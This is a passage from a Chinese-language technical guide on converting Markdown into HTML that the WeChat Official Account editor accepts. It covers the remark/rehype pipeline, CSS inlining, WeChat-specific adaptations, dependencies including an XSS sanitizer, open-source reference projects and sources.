用户编辑 Markdown(或 WYSIWYG)   ↓unified 生态:remark-parse → remark-gfm → remark-math → remark-rehype → rehype-highlight → rehype-stringify   ↓CSS 内联化:juice.inlineContent(html, themeCss)   ↓微信适配层:  ├── 空格替换(\u0020 → \u00A0)  ├── 换行替换(\n → <br>)  ├── 复选框替换(<input type="checkbox"> → ☑/☐)  ├── 外部链接转脚注  ├── <ul>/<ol> → <section> + flexbox(微信会破坏原生列表)  └── SVG attribute 修正   ↓Clipboard API 写入 text/html → 用户 Ctrl+V → 微信编辑器

8.3 核心依赖

pnpm add unified remark-parse remark-gfm remark-rehypepnpm add rehype-stringify rehype-highlightpnpm add remark-math rehype-katex     # 数学公式pnpm add juice                         # CSS 内联化pnpm add rehype-sanitize               # XSS 防护

8.4 替代方案:微信白名单限定网页 + 手动复制

比从头写编辑器更简单。核心思路:

  1. 1. 梳理微信白名单(参考第 7 节)
  2. 2. 写一个 HTML 页面,严格使用白名单标签和内联样式
  3. 3. 不用 <style> 标签——所有样式写在 style="" 属性中
  4. 4. 浏览器打开 → 全选 Ctrl+A → 复制 Ctrl+C
  5. 5. 微信编辑器 Ctrl+V 粘贴

如需交互(点击展开等),使用 SVG + <animate>

针对高级 CSS 的退路

  • • repeating-linear-gradient 等 → 若被过滤,用 SVG <pattern> + <linearGradient> 替代,或降级为纯色
  • • 自定义字体 → 无解,用图片替代或接受系统字体

8.5 现已开源的项目参考

如果想基于现有项目改造而非从零开始:

  • • doocs/md(Vue 3)或 WeMD(React 18)提供最完整的微信适配实现
  • • 花生编辑器(Vue 3 纯前端单文件)最容易 fork 和定制
  • • xiaohu-wechat-format(Python CLI)适合集成到自动化管线

附录:关键参考来源

  1. 1. VerySmallWoods – 公众号排版工具如何实现样式的复制粘贴(2026-01)
  2. 2. haqiao – 微信公众号 CSS 布局和 SVG 推文的一些坑(2020-08,持续更新)
  3. 3. Axton Liu – 微信公众号图文的 HTML/CSS 支持概览(2025-03)
  4. 4. Latent Cat – 如何在公众号中插入公式(2020-02)
  5. 5. SonarSource – mXSS: The Vulnerability Hiding in Your Code(2024-05)
  6. 6. PkgPulse – sanitize-html vs DOMPurify vs xss 2026(2026-03)
  7. 7. TinyMCE – User input sanitization and validation(2023-07)
  8. 8. Alex Harri – The web’s clipboard, and how it stores data of different types(2024-09)
  9. 9. Microsoft – HTML Clipboard Format (CF_HTML)
  10. 10. Microsoft – PowerToys Advanced Paste
  11. 11. PingCode – 在微信公众号的图文里面可以实现哪些代码
  12. 12. GitHub: doocs/md | tenngoxars/WeMD | alchaincyf/huasheng_editor | xiaohuailabs/xiaohu-wechat-format
  13. 13. GitHub: latentcat/mpmath | cure53/DOMPurify